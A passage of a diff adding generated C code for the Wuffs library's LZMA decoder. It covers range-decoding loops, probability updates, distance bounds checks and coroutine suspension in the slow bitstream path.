self->private_data.f_probs_longrep_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 255u) + 18u); ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); ++ } while (0); ++ } while (0); ++ v_dist = (v_rep0 + 1u); ++ if ((((uint64_t)(v_dist)) > v_pos) || (((uint64_t)(v_dist)) > ((uint64_t)(self->private_impl.f_dict_size)))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_distance); ++ goto exit; ++ } ++ v_pos += ((uint64_t)(v_len)); ++ if (((uint64_t)(v_dist)) > ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ v_adj_dist = ((uint32_t)((((uint64_t)(v_dist)) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ if (v_adj_dist > self->private_impl.f_dict_seen) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_distance); ++ goto exit; ++ } ++ v_wb_index = ((uint64_t)(((uint64_t)(self->private_impl.f_dict_workbuf_index)) - ((uint64_t)(v_adj_dist)))); ++ while (v_wb_index >= 9223372036854775808u) { ++ v_wb_index += ((uint64_t)(self->private_impl.f_dict_size)); ++ } ++ if (v_wb_index >= ((uint64_t)(a_workbuf.len))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ if (v_len < v_adj_dist) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,(v_len + 1u), wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_match_byte = ((uint32_t)(iop_a_dst[-1])); ++ iop_a_dst--; ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_prev_byte = iop_a_dst[-1]; ++ continue; ++ } else if (v_len == v_adj_dist) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_len, wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history( ++ &iop_a_dst, io0_a_dst, io2_a_dst, 1u, v_dist); ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_match_byte = ((uint32_t)(iop_a_dst[-1])); ++ iop_a_dst--; ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ v_prev_byte = iop_a_dst[-1]; ++ continue; ++ } ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_adj_dist, wuffs_base__slice_u8__subslice_i(a_workbuf, v_wb_index)); ++ v_len -= v_adj_dist; ++ if ((((uint64_t)(v_len)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_len + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)(v_dist)) > ((uint64_t)(iop_a_dst - io0_a_dst)))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ } ++ if (v_dist >= 8u) { ++ v_match_cusp = wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast_return_cusp( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_len, v_dist); ++ v_match_byte = (v_match_cusp >> 8u); ++ v_prev_byte = ((uint8_t)(v_match_cusp)); ++ } else { ++ v_match_cusp = wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast_return_cusp( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_len, v_dist); ++ v_match_byte = (v_match_cusp >> 8u); ++ v_prev_byte = ((uint8_t)(v_match_cusp)); ++ } ++ } ++ label__outer__break:; ++ self->private_impl.f_stashed_bytes[0u] = v_prev_byte; ++ self->private_impl.f_stashed_bytes[1u] = ((uint8_t)(v_match_byte)); ++ self->private_impl.f_stashed_bits = v_bits; ++ self->private_impl.f_stashed_range = v_range; ++ self->private_impl.f_stashed_state = v_state; ++ self->private_impl.f_stashed_rep0 = v_rep0; ++ self->private_impl.f_stashed_rep1 = v_rep1; ++ self->private_impl.f_stashed_rep2 = v_rep2; ++ self->private_impl.f_stashed_rep3 = v_rep3; ++ self->private_impl.f_stashed_pos = v_pos; ++ self->private_impl.f_stashed_pos_end = v_pos_end; ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func lzma.decoder.decode_bitstream_slow ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_bitstream_slow( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_range = 0; ++ uint32_t v_state = 0; ++ uint32_t v_rep0 = 0; ++ uint32_t v_rep1 = 0; ++ uint32_t v_rep2 = 0; ++ uint32_t v_rep3 = 0; ++ uint32_t v_reptmp = 0; ++ uint32_t v_rep = 0; ++ uint64_t v_pos = 0; ++ uint64_t v_pos_end = 0; ++ uint32_t v_lc = 0; ++ uint64_t v_lp_mask = 0; ++ uint64_t v_pb_mask = 0; ++ uint32_t v_prob = 0; ++ uint32_t v_threshold = 0; ++ uint32_t v_tree_node = 0; ++ uint8_t v_prev_byte = 0; ++ uint32_t v_match_byte = 0; ++ uint32_t v_match_cusp = 0; ++ uint32_t v_len_state = 0; ++ uint32_t v_slot = 0; ++ uint32_t v_len = 0; ++ uint32_t v_lanl_offset = 0; ++ uint32_t v_lanl_old_offset = 0; ++ uint32_t v_lanl_index = 0; ++ uint32_t v_num_extra_bits = 0; ++ uint32_t v_dist_extra_bits = 0; ++ uint32_t v_high_bit_was_on = 0; ++ uint32_t v_i = 0; ++ uint32_t v_index_ao00 = 0; ++ uint32_t v_index_ao41 = 0; ++ uint32_t v_index_lit = 0; ++ uint32_t v_index_len = 0; ++ uint32_t v_index_small_dist_base = 0; ++ uint32_t v_index_small_dist_extra = 0; ++ uint32_t v_index_small_dist = 0; ++ uint32_t v_index_large_dist = 0; ++ uint32_t v_dist = 0; ++ uint32_t v_adj_dist = 0; ++ uint64_t v_wb_index = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_bitstream_slow; ++ if (coro_susp_point) { ++ v_bits = self->private_data.s_decode_bitstream_slow.v_bits; ++ v_range = self->private_data.s_decode_bitstream_slow.v_range; ++ v_state = self->private_data.s_decode_bitstream_slow.v_state; ++ v_rep0 = self->private_data.s_decode_bitstream_slow.v_rep0; ++ v_rep1 = self->private_data.s_decode_bitstream_slow.v_rep1; ++ v_rep2 = self->private_data.s_decode_bitstream_slow.v_rep2; ++ v_rep3 = self->private_data.s_decode_bitstream_slow.v_rep3; ++ v_rep = self->private_data.s_decode_bitstream_slow.v_rep; ++ v_pos = self->private_data.s_decode_bitstream_slow.v_pos; ++ v_pos_end = self->private_data.s_decode_bitstream_slow.v_pos_end; ++ v_lc = self->private_data.s_decode_bitstream_slow.v_lc; ++ v_lp_mask = self->private_data.s_decode_bitstream_slow.v_lp_mask; ++ v_pb_mask = self->private_data.s_decode_bitstream_slow.v_pb_mask; ++ v_tree_node = self->private_data.s_decode_bitstream_slow.v_tree_node; ++ v_prev_byte = self->private_data.s_decode_bitstream_slow.v_prev_byte; ++ v_match_byte = self->private_data.s_decode_bitstream_slow.v_match_byte; ++ v_len_state = self->private_data.s_decode_bitstream_slow.v_len_state; ++ v_slot = self->private_data.s_decode_bitstream_slow.v_slot; ++ v_len = self->private_data.s_decode_bitstream_slow.v_len; ++ v_lanl_offset = self->private_data.s_decode_bitstream_slow.v_lanl_offset; ++ v_num_extra_bits = self->private_data.s_decode_bitstream_slow.v_num_extra_bits; ++ v_dist_extra_bits = self->private_data.s_decode_bitstream_slow.v_dist_extra_bits; ++ v_i = self->private_data.s_decode_bitstream_slow.v_i; ++ v_index_lit = self->private_data.s_decode_bitstream_slow.v_index_lit; ++ v_index_len = self->private_data.s_decode_bitstream_slow.v_index_len; ++ v_index_small_dist_base = self->private_data.s_decode_bitstream_slow.v_index_small_dist_base; ++ v_index_small_dist_extra = self->private_data.s_decode_bitstream_slow.v_index_small_dist_extra; ++ v_index_large_dist = self->private_data.s_decode_bitstream_slow.v_index_large_dist; ++ v_dist = self->private_data.s_decode_bitstream_slow.v_dist; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ v_prev_byte = self->private_impl.f_stashed_bytes[0u]; ++ v_match_byte = ((uint32_t)(self->private_impl.f_stashed_bytes[1u])); ++ v_bits = self->private_impl.f_stashed_bits; ++ v_range = self->private_impl.f_stashed_range; ++ v_state = self->private_impl.f_stashed_state; ++ v_rep0 = self->private_impl.f_stashed_rep0; ++ v_rep1 = self->private_impl.f_stashed_rep1; ++ v_rep2 = self->private_impl.f_stashed_rep2; ++ v_rep3 = self->private_impl.f_stashed_rep3; ++ v_pos = self->private_impl.f_stashed_pos; ++ v_pos_end = self->private_impl.f_stashed_pos_end; ++ v_lc = self->private_impl.f_lc; ++ v_lp_mask = ((((uint64_t)(1u)) << self->private_impl.f_lp) - 1u); ++ v_pb_mask = ((((uint64_t)(1u)) << self->private_impl.f_pb) - 1u); ++ while ( ! (self->private_impl.p_decode_bitstream_slow != 0)) { ++ if (v_pos >= v_pos_end) { ++ self->private_impl.f_end_of_chunk = true; ++ break; ++ } ++ v_index_ao00 = ((v_state << 4u) | ((uint32_t)((v_pos & v_pb_mask)))); ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao00[v_index_ao00])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao00[v_index_ao00] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_lit = (15u & ((((uint32_t)((v_pos & v_lp_mask))) << v_lc) | (((uint32_t)(v_prev_byte)) >> (8u - v_lc)))); ++ if (v_state >= 7u) { ++ v_lanl_offset = 256u; ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_match_byte <<= 1u; ++ v_lanl_old_offset = v_lanl_offset; ++ v_lanl_offset &= v_match_byte; ++ v_lanl_index = (v_lanl_offset + v_lanl_old_offset + v_tree_node); ++ v_prob = ((uint32_t)(self->private_data.f_probs_lit[v_index_lit][v_lanl_index])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_lanl_offset = ((v_lanl_offset ^ v_lanl_old_offset) & 256u); ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_lit[v_index_lit][v_lanl_index] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_lit[v_index_lit][v_lanl_index] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ } else { ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_lit[v_index_lit][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_lit[v_index_lit][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_lit[v_index_lit][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ } ++ v_prev_byte = ((uint8_t)(v_tree_node)); ++ self->private_data.s_decode_bitstream_slow.scratch = v_prev_byte; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (iop_a_dst == io2_a_dst) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ goto suspend; ++ } ++ *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_bitstream_slow.scratch)); ++ v_pos += 1u; ++ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LITERAL[v_state])); ++ continue; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_ao00[v_index_ao00] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ do { ++ v_prob = ((uint32_t)(self->private_data.f_probs_ao20[v_state])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_ao20[v_state] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ do { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_low[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_low[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len_state = ((uint32_t)(WUFFS_LZMA__CLAMP_NO_MORE_THAN_3[(v_tree_node & 7u)])); ++ v_len = ((v_tree_node & 7u) + 2u); ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_low[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_7 = *iop_a_src++; ++ v_c8 = t_7; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_mid[0u][0u])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_8 = *iop_a_src++; ++ v_c8 = t_8; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); ++ v_tree_node = 1u; ++ while (v_tree_node < 8u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_9 = *iop_a_src++; ++ v_c8 = t_9; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 7u) + 10u); ++ v_len_state = 3u; ++ break; ++ } ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_mid[0u][0u] = ((uint16_t)(v_prob)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_10 = *iop_a_src++; ++ v_c8 = t_10; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_tree_node = 1u; ++ while (v_tree_node < 256u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_high[0u][v_tree_node])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_match_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = (v_tree_node << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_match_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); ++ v_tree_node = ((v_tree_node << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_11 = *iop_a_src++; ++ v_c8 = t_11; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_len = ((v_tree_node & 255u) + 18u); ++ v_len_state = 3u; ++ } while (0); ++ v_slot = 1u; ++ while (v_slot < 64u) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_slot[v_len_state][v_slot])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_slot[v_len_state][v_slot] = ((uint16_t)(v_prob)); ++ v_slot = (v_slot << 1u); ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_slot[v_len_state][v_slot] = ((uint16_t)(v_prob)); ++ v_slot = ((v_slot << 1u) | 1u); ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_12 = *iop_a_src++; ++ v_c8 = t_12; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_slot &= 63u; ++ v_rep = v_slot; ++ if (v_slot < 4u) { ++ } else if (v_slot < 14u) { ++ v_num_extra_bits = ((v_slot >> 1u) - 1u); ++ v_rep = ((2u | (v_slot & 1u)) << v_num_extra_bits); ++ v_index_small_dist_base = ((uint32_t)(v_rep - v_slot)); ++ v_index_small_dist_extra = 1u; ++ v_dist_extra_bits = 0u; ++ v_i = 0u; ++ while (v_i < v_num_extra_bits) { ++ v_index_small_dist = (((uint32_t)(v_index_small_dist_base + v_index_small_dist_extra)) & 127u); ++ v_prob = ((uint32_t)(self->private_data.f_probs_small_dist[v_index_small_dist])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_small_dist[v_index_small_dist] = ((uint16_t)(v_prob)); ++ v_index_small_dist_extra = ((uint32_t)(v_index_small_dist_extra << 1u)); ++ v_i += 1u; ++ } else { ++ v_bits -= v_threshold; ++ v_range -= v_threshold; ++ v_prob -= (v_prob >> 5u); ++ self->private_data.f_probs_small_dist[v_index_small_dist] = ((uint16_t)(v_prob)); ++ v_index_small_dist_extra = (((uint32_t)(v_index_small_dist_extra << 1u)) | 1u); ++ v_dist_extra_bits |= (((uint32_t)(1u)) << v_i); ++ v_i += 1u; ++ } ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_13 = *iop_a_src++; ++ v_c8 = t_13; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ } ++ v_rep += v_dist_extra_bits; ++ } else { ++ v_num_extra_bits = ((v_slot >> 1u) - 1u); ++ v_rep = ((2u | (v_slot & 1u)) << v_num_extra_bits); ++ v_dist_extra_bits = 0u; ++ while (true) { ++ v_range >>= 1u; ++ v_bits -= v_range; ++ v_high_bit_was_on = ((uint32_t)(0u - (v_bits >> 31u))); ++ v_bits += (v_range & v_high_bit_was_on); ++ v_dist_extra_bits = (((uint32_t)(v_dist_extra_bits << 1u)) | (((uint32_t)(v_high_bit_was_on + 1u)) & 1u)); ++ if ((v_range >> 24u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_14 = *iop_a_src++; ++ v_c8 = t_14; ++ } ++ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); ++ v_range <<= 8u; ++ } ++ v_num_extra_bits -= 1u; ++ if (v_num_extra_bits <= 4u) { ++ break; ++ } ++ } ++ v_dist_extra_bits <<= 4u; ++ v_index_large_dist = 1u; ++ while (true) { ++ v_prob = ((uint32_t)(self->private_data.f_probs_large_dist[v_index_large_dist])); ++ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); ++ if (v_bits < v_threshold) { ++ v_range = v_threshold; ++ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); ++ self->private_data.f_probs_large_dist[v_index_large_dist] = 